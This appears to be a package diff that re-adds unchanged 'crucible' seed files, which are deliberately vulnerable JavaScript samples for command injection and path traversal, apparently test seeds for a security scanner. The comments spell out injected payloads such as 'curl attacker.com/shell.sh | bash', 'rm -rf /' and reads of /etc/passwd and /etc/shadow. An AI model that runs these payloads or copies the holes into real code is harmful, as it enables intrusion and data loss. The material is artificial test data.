thuban 0.4.2 → 0.4.5

package/dist/packages/crucible/seeds/js/seed-023.js

@@ -1,29 +1,29 @@
-// [CRUCIBLE-SEED]
-// category: command_injection
-// severity: critical
-// language: javascript
-// expected: command injection via exec() with unsanitized user input
-
-const { exec } = require('child_process');
-const express = require('express');
-const router = express.Router();
-
-router.get('/ping', (req, res) => {
-  const host = req.query.host;
-  // Attacker can pass: "8.8.8.8; cat /etc/passwd"
-  exec(`ping -c 4 ${host}`, (err, stdout, stderr) => {
-    if (err) return res.status(500).send(stderr);
-    res.send(`<pre>${stdout}</pre>`);
-  });
-});
-
-router.post('/convert', (req, res) => {
-  const { inputFile, outputFormat } = req.body;
-  // e.g. inputFile = "file.pdf; rm -rf /"
-  exec(`convert ${inputFile} output.${outputFormat}`, (err, stdout) => {
-    if (err) return res.status(500).json({ error: err.message });
-    res.json({ success: true, output: stdout });
-  });
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: command_injection
+// severity: critical
+// language: javascript
+// expected: command injection via exec() with unsanitized user input
+
+const { exec } = require('child_process');
+const express = require('express');
+const router = express.Router();
+
+router.get('/ping', (req, res) => {
+  const host = req.query.host;
+  // Attacker can pass: "8.8.8.8; cat /etc/passwd"
+  exec(`ping -c 4 ${host}`, (err, stdout, stderr) => {
+    if (err) return res.status(500).send(stderr);
+    res.send(`<pre>${stdout}</pre>`);
+  });
+});
+
+router.post('/convert', (req, res) => {
+  const { inputFile, outputFormat } = req.body;
+  // e.g. inputFile = "file.pdf; rm -rf /"
+  exec(`convert ${inputFile} output.${outputFormat}`, (err, stdout) => {
+    if (err) return res.status(500).json({ error: err.message });
+    res.json({ success: true, output: stdout });
+  });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-024.js

@@ -1,29 +1,29 @@
-// [CRUCIBLE-SEED]
-// category: command_injection
-// severity: critical
-// language: javascript
-// expected: command injection via execSync with template literal
-
-const { execSync } = require('child_process');
-
-function generateThumbnail(imagePath, width, height) {
-  // imagePath could be: "photo.jpg; curl attacker.com/shell.sh | bash"
-  const cmd = `ffmpeg -i ${imagePath} -vf scale=${width}:${height} thumb_${imagePath}`;
-  const output = execSync(cmd, { encoding: 'utf8' });
-  return output;
-}
-
-function compressLogs(logDir, archiveName) {
-  const result = execSync(`tar -czf ${archiveName}.tar.gz ${logDir}`);
-  return result;
-}
-
-function runGitCommand(repoPath, branch) {
-  const output = execSync(`cd ${repoPath} && git checkout ${branch} && git pull`, {
-    encoding: 'utf8',
-    timeout: 30000,
-  });
-  return output;
-}
-
-module.exports = { generateThumbnail, compressLogs, runGitCommand };
+// [CRUCIBLE-SEED]
+// category: command_injection
+// severity: critical
+// language: javascript
+// expected: command injection via execSync with template literal
+
+const { execSync } = require('child_process');
+
+function generateThumbnail(imagePath, width, height) {
+  // imagePath could be: "photo.jpg; curl attacker.com/shell.sh | bash"
+  const cmd = `ffmpeg -i ${imagePath} -vf scale=${width}:${height} thumb_${imagePath}`;
+  const output = execSync(cmd, { encoding: 'utf8' });
+  return output;
+}
+
+function compressLogs(logDir, archiveName) {
+  const result = execSync(`tar -czf ${archiveName}.tar.gz ${logDir}`);
+  return result;
+}
+
+function runGitCommand(repoPath, branch) {
+  const output = execSync(`cd ${repoPath} && git checkout ${branch} && git pull`, {
+    encoding: 'utf8',
+    timeout: 30000,
+  });
+  return output;
+}
+
+module.exports = { generateThumbnail, compressLogs, runGitCommand };

package/dist/packages/crucible/seeds/js/seed-025.js

@@ -1,34 +1,34 @@
-// [CRUCIBLE-SEED]
-// category: command_injection
-// severity: critical
-// language: javascript
-// expected: command injection via spawn shell:true with user input
-
-const { spawn } = require('child_process');
-
-function runUserScript(scriptName, args) {
-  // shell: true causes the full string to be passed to /bin/sh
-  const proc = spawn(`node scripts/${scriptName} ${args.join(' ')}`, {
-    shell: true,
-    cwd: process.cwd(),
-  });
-
-  return new Promise((resolve, reject) => {
-    let output = '';
-    proc.stdout.on('data', d => (output += d));
-    proc.stderr.on('data', d => (output += d));
-    proc.on('close', code => (code === 0 ? resolve(output) : reject(new Error(output))));
-  });
-}
-
-function lintFile(filePath) {
-  const proc = spawn(`eslint ${filePath} --format json`, { shell: true });
-  return new Promise((resolve, reject) => {
-    let out = '';
-    proc.stdout.on('data', d => (out += d));
-    proc.on('close', () => resolve(JSON.parse(out)));
-    proc.on('error', reject);
-  });
-}
-
-module.exports = { runUserScript, lintFile };
+// [CRUCIBLE-SEED]
+// category: command_injection
+// severity: critical
+// language: javascript
+// expected: command injection via spawn shell:true with user input
+
+const { spawn } = require('child_process');
+
+function runUserScript(scriptName, args) {
+  // shell: true causes the full string to be passed to /bin/sh
+  const proc = spawn(`node scripts/${scriptName} ${args.join(' ')}`, {
+    shell: true,
+    cwd: process.cwd(),
+  });
+
+  return new Promise((resolve, reject) => {
+    let output = '';
+    proc.stdout.on('data', d => (output += d));
+    proc.stderr.on('data', d => (output += d));
+    proc.on('close', code => (code === 0 ? resolve(output) : reject(new Error(output))));
+  });
+}
+
+function lintFile(filePath) {
+  const proc = spawn(`eslint ${filePath} --format json`, { shell: true });
+  return new Promise((resolve, reject) => {
+    let out = '';
+    proc.stdout.on('data', d => (out += d));
+    proc.on('close', () => resolve(JSON.parse(out)));
+    proc.on('error', reject);
+  });
+}
+
+module.exports = { runUserScript, lintFile };

package/dist/packages/crucible/seeds/js/seed-026.js

@@ -1,31 +1,31 @@
-// [CRUCIBLE-SEED]
-// category: command_injection
-// severity: high
-// language: javascript
-// expected: command injection via child_process.exec in scheduled job
-
-const { exec } = require('child_process');
-const cron = require('node-cron');
-
-class ReportGenerator {
-  constructor(config) {
-    this.outputDir = config.outputDir;
-    this.reportFormat = config.reportFormat; // user-controlled
-    this.emailRecipient = config.emailRecipient; // user-controlled
-  }
-
-  generateReport(startDate, endDate) {
-    // reportFormat and emailRecipient from user config — not sanitized
-    const cmd = `python3 scripts/report.py --start ${startDate} --end ${endDate} --format ${this.reportFormat}`;
-    exec(cmd, (err, stdout) => {
-      if (err) { console.error('Report failed:', err); return; }
-      exec(`mail -s "Report" ${this.emailRecipient} < ${stdout.trim()}`);
-    });
-  }
-
-  schedule(cronExpr, startDate, endDate) {
-    cron.schedule(cronExpr, () => this.generateReport(startDate, endDate));
-  }
-}
-
-module.exports = ReportGenerator;
+// [CRUCIBLE-SEED]
+// category: command_injection
+// severity: high
+// language: javascript
+// expected: command injection via child_process.exec in scheduled job
+
+const { exec } = require('child_process');
+const cron = require('node-cron');
+
+class ReportGenerator {
+  constructor(config) {
+    this.outputDir = config.outputDir;
+    this.reportFormat = config.reportFormat; // user-controlled
+    this.emailRecipient = config.emailRecipient; // user-controlled
+  }
+
+  generateReport(startDate, endDate) {
+    // reportFormat and emailRecipient from user config — not sanitized
+    const cmd = `python3 scripts/report.py --start ${startDate} --end ${endDate} --format ${this.reportFormat}`;
+    exec(cmd, (err, stdout) => {
+      if (err) { console.error('Report failed:', err); return; }
+      exec(`mail -s "Report" ${this.emailRecipient} < ${stdout.trim()}`);
+    });
+  }
+
+  schedule(cronExpr, startDate, endDate) {
+    cron.schedule(cronExpr, () => this.generateReport(startDate, endDate));
+  }
+}
+
+module.exports = ReportGenerator;

package/dist/packages/crucible/seeds/js/seed-027.js

@@ -1,31 +1,31 @@
-// [CRUCIBLE-SEED]
-// category: command_injection
-// severity: critical
-// language: javascript
-// expected: command injection via execa with unsanitized filename
-
-const execa = require('execa');
-const express = require('express');
-const router = express.Router();
-
-router.post('/upload/process', async (req, res) => {
-  const { filename, operation } = req.body;
-
-  try {
-    // filename is user-supplied — shell metacharacters not stripped
-    const { stdout } = await execa.command(`file-processor --op ${operation} --file uploads/${filename}`, {
-      shell: true,
-    });
-    res.json({ result: stdout });
-  } catch (err) {
-    res.status(500).json({ error: err.message });
-  }
-});
-
-router.post('/tools/whois', async (req, res) => {
-  const domain = req.body.domain;
-  const { stdout } = await execa.command(`whois ${domain}`, { shell: true });
-  res.send(stdout);
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: command_injection
+// severity: critical
+// language: javascript
+// expected: command injection via execa with unsanitized filename
+
+const execa = require('execa');
+const express = require('express');
+const router = express.Router();
+
+router.post('/upload/process', async (req, res) => {
+  const { filename, operation } = req.body;
+
+  try {
+    // filename is user-supplied — shell metacharacters not stripped
+    const { stdout } = await execa.command(`file-processor --op ${operation} --file uploads/${filename}`, {
+      shell: true,
+    });
+    res.json({ result: stdout });
+  } catch (err) {
+    res.status(500).json({ error: err.message });
+  }
+});
+
+router.post('/tools/whois', async (req, res) => {
+  const domain = req.body.domain;
+  const { stdout } = await execa.command(`whois ${domain}`, { shell: true });
+  res.send(stdout);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-028.js

@@ -1,33 +1,33 @@
-// [CRUCIBLE-SEED]
-// category: command_injection
-// severity: high
-// language: javascript
-// expected: command injection via shell metacharacters in git operations
-
-const { execSync } = require('child_process');
-
-class GitService {
-  constructor(baseDir) {
-    this.baseDir = baseDir;
-  }
-
-  cloneRepo(repoUrl, targetDir) {
-    // repoUrl from user input — could contain shell metacharacters
-    return execSync(`git clone ${repoUrl} ${this.baseDir}/${targetDir}`, { encoding: 'utf8' });
-  }
-
-  checkoutBranch(repoPath, branchName) {
-    // branchName could be "main; cat /etc/shadow > /tmp/shadow"
-    return execSync(`git -C ${repoPath} checkout ${branchName}`, { encoding: 'utf8' });
-  }
-
-  createTag(repoPath, tagName, message) {
-    return execSync(`git -C ${repoPath} tag -a ${tagName} -m "${message}"`, { encoding: 'utf8' });
-  }
-
-  diffBranches(repo, branch1, branch2) {
-    return execSync(`git -C ${repo} diff ${branch1}..${branch2} --stat`, { encoding: 'utf8' });
-  }
-}
-
-module.exports = GitService;
+// [CRUCIBLE-SEED]
+// category: command_injection
+// severity: high
+// language: javascript
+// expected: command injection via shell metacharacters in git operations
+
+const { execSync } = require('child_process');
+
+class GitService {
+  constructor(baseDir) {
+    this.baseDir = baseDir;
+  }
+
+  cloneRepo(repoUrl, targetDir) {
+    // repoUrl from user input — could contain shell metacharacters
+    return execSync(`git clone ${repoUrl} ${this.baseDir}/${targetDir}`, { encoding: 'utf8' });
+  }
+
+  checkoutBranch(repoPath, branchName) {
+    // branchName could be "main; cat /etc/shadow > /tmp/shadow"
+    return execSync(`git -C ${repoPath} checkout ${branchName}`, { encoding: 'utf8' });
+  }
+
+  createTag(repoPath, tagName, message) {
+    return execSync(`git -C ${repoPath} tag -a ${tagName} -m "${message}"`, { encoding: 'utf8' });
+  }
+
+  diffBranches(repo, branch1, branch2) {
+    return execSync(`git -C ${repo} diff ${branch1}..${branch2} --stat`, { encoding: 'utf8' });
+  }
+}
+
+module.exports = GitService;

package/dist/packages/crucible/seeds/js/seed-029.js

@@ -1,33 +1,33 @@
-// [CRUCIBLE-SEED]
-// category: path_traversal
-// severity: high
-// language: javascript
-// expected: path traversal via unvalidated user-supplied file path in fs.readFile
-
-const fs = require('fs');
-const path = require('path');
-const express = require('express');
-const router = express.Router();
-
-const BASE_DIR = path.join(__dirname, 'public', 'files');
-
-router.get('/files/:filename', (req, res) => {
-  // No path normalization — attacker can request "../../etc/passwd"
-  const filePath = path.join(BASE_DIR, req.params.filename);
-
-  fs.readFile(filePath, 'utf8', (err, data) => {
-    if (err) return res.status(404).send('File not found');
-    res.type('text/plain').send(data);
-  });
-});
-
-router.get('/download', (req, res) => {
-  const file = req.query.path;
-  // Completely unvalidated path from query string
-  fs.readFile(file, (err, data) => {
-    if (err) return res.status(404).send('Not found');
-    res.send(data);
-  });
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: path_traversal
+// severity: high
+// language: javascript
+// expected: path traversal via unvalidated user-supplied file path in fs.readFile
+
+const fs = require('fs');
+const path = require('path');
+const express = require('express');
+const router = express.Router();
+
+const BASE_DIR = path.join(__dirname, 'public', 'files');
+
+router.get('/files/:filename', (req, res) => {
+  // No path normalization — attacker can request "../../etc/passwd"
+  const filePath = path.join(BASE_DIR, req.params.filename);
+
+  fs.readFile(filePath, 'utf8', (err, data) => {
+    if (err) return res.status(404).send('File not found');
+    res.type('text/plain').send(data);
+  });
+});
+
+router.get('/download', (req, res) => {
+  const file = req.query.path;
+  // Completely unvalidated path from query string
+  fs.readFile(file, (err, data) => {
+    if (err) return res.status(404).send('Not found');
+    res.send(data);
+  });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-030.js

@@ -1,30 +1,30 @@
-// [CRUCIBLE-SEED]
-// category: path_traversal
-// severity: high
-// language: javascript
-// expected: path traversal via user-controlled directory in readdir and readFileSync
-
-const fs = require('fs');
-const path = require('path');
-
-const UPLOADS_ROOT = '/var/app/uploads';
-
-function listUserFiles(userId, subdir) {
-  // subdir can be "../../../../etc" — escapes UPLOADS_ROOT
-  const userDir = path.join(UPLOADS_ROOT, userId, subdir);
-  return fs.readdirSync(userDir);
-}
-
-function readUserFile(userId, fileName) {
-  const filePath = path.join(UPLOADS_ROOT, userId, fileName);
-  // Missing check that filePath starts with UPLOADS_ROOT
-  return fs.readFileSync(filePath, 'utf8');
-}
-
-function deleteUserFile(userId, fileName) {
-  const filePath = path.join(UPLOADS_ROOT, userId, fileName);
-  fs.unlinkSync(filePath);
-  return true;
-}
-
-module.exports = { listUserFiles, readUserFile, deleteUserFile };
+// [CRUCIBLE-SEED]
+// category: path_traversal
+// severity: high
+// language: javascript
+// expected: path traversal via user-controlled directory in readdir and readFileSync
+
+const fs = require('fs');
+const path = require('path');
+
+const UPLOADS_ROOT = '/var/app/uploads';
+
+function listUserFiles(userId, subdir) {
+  // subdir can be "../../../../etc" — escapes UPLOADS_ROOT
+  const userDir = path.join(UPLOADS_ROOT, userId, subdir);
+  return fs.readdirSync(userDir);
+}
+
+function readUserFile(userId, fileName) {
+  const filePath = path.join(UPLOADS_ROOT, userId, fileName);
+  // Missing check that filePath starts with UPLOADS_ROOT
+  return fs.readFileSync(filePath, 'utf8');
+}
+
+function deleteUserFile(userId, fileName) {
+  const filePath = path.join(UPLOADS_ROOT, userId, fileName);
+  fs.unlinkSync(filePath);
+  return true;
+}
+
+module.exports = { listUserFiles, readUserFile, deleteUserFile };

package/dist/packages/crucible/seeds/js/seed-031.js

@@ -1,31 +1,31 @@
-// [CRUCIBLE-SEED]
-// category: path_traversal
-// severity: high
-// language: javascript
-// expected: path traversal via require() with user-controlled module path
-
-const express = require('express');
-const router = express.Router();
-
-router.get('/plugin/:name', (req, res) => {
-  const pluginName = req.params.name;
-  try {
-    // Attacker can request "../../config/secrets" or "../../../etc/passwd"
-    const plugin = require(`./plugins/${pluginName}`);
-    const result = plugin.run(req.query);
-    res.json({ result });
-  } catch (err) {
-    res.status(404).json({ error: `Plugin '${pluginName}' not found` });
-  }
-});
-
-router.get('/template', (req, res) => {
-  const templateName = req.query.template;
-  const fs = require('fs');
-  // Reads arbitrary files under templates/ — but no validation of templateName
-  const templatePath = `./templates/${templateName}.html`;
-  const content = fs.readFileSync(templatePath, 'utf8');
-  res.type('text/html').send(content);
-});
-
-module.exports = router;
+// [CRUCIBLE-SEED]
+// category: path_traversal
+// severity: high
+// language: javascript
+// expected: path traversal via require() with user-controlled module path
+
+const express = require('express');
+const router = express.Router();
+
+router.get('/plugin/:name', (req, res) => {
+  const pluginName = req.params.name;
+  try {
+    // Attacker can request "../../config/secrets" or "../../../etc/passwd"
+    const plugin = require(`./plugins/${pluginName}`);
+    const result = plugin.run(req.query);
+    res.json({ result });
+  } catch (err) {
+    res.status(404).json({ error: `Plugin '${pluginName}' not found` });
+  }
+});
+
+router.get('/template', (req, res) => {
+  const templateName = req.query.template;
+  const fs = require('fs');
+  // Reads arbitrary files under templates/ — but no validation of templateName
+  const templatePath = `./templates/${templateName}.html`;
+  const content = fs.readFileSync(templatePath, 'utf8');
+  res.type('text/html').send(content);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-032.js

@@ -1,34 +1,34 @@
-// [CRUCIBLE-SEED]
-// category: path_traversal
-// severity: high
-// language: javascript
-// expected: path traversal via ZIP extraction without path validation
-
-const AdmZip = require('adm-zip');
-const path = require('path');
-const fs = require('fs');
-
-const EXTRACT_BASE = '/var/app/extracted';
-
-function extractUserArchive(zipBuffer, userId) {
-  const zip = new AdmZip(zipBuffer);
-  const entries = zip.getEntries();
-
-  entries.forEach(entry => {
-    // entry.entryName can contain "../" sequences (zip-slip vulnerability)
-    const outputPath = path.join(EXTRACT_BASE, userId, entry.entryName);
-    if (entry.isDirectory) {
-      fs.mkdirSync(outputPath, { recursive: true });
-    } else {
-      // Writing to outputPath without verifying it's within EXTRACT_BASE
-      fs.writeFileSync(outputPath, entry.getData());
-    }
-  });
-}
-
-function getExtractedFile(userId, relativePath) {
-  const fullPath = path.join(EXTRACT_BASE, userId, relativePath);
-  return fs.readFileSync(fullPath);
-}
-
-module.exports = { extractUserArchive, getExtractedFile };
+// [CRUCIBLE-SEED]
+// category: path_traversal
+// severity: high
+// language: javascript
+// expected: path traversal via ZIP extraction without path validation
+
+const AdmZip = require('adm-zip');
+const path = require('path');
+const fs = require('fs');
+
+const EXTRACT_BASE = '/var/app/extracted';
+
+function extractUserArchive(zipBuffer, userId) {
+  const zip = new AdmZip(zipBuffer);
+  const entries = zip.getEntries();
+
+  entries.forEach(entry => {
+    // entry.entryName can contain "../" sequences (zip-slip vulnerability)
+    const outputPath = path.join(EXTRACT_BASE, userId, entry.entryName);
+    if (entry.isDirectory) {
+      fs.mkdirSync(outputPath, { recursive: true });
+    } else {
+      // Writing to outputPath without verifying it's within EXTRACT_BASE
+      fs.writeFileSync(outputPath, entry.getData());
+    }
+  });
+}
+
+function getExtractedFile(userId, relativePath) {
+  const fullPath = path.join(EXTRACT_BASE, userId, relativePath);
+  return fs.readFileSync(fullPath);
+}
+
+module.exports = { extractUserArchive, getExtractedFile };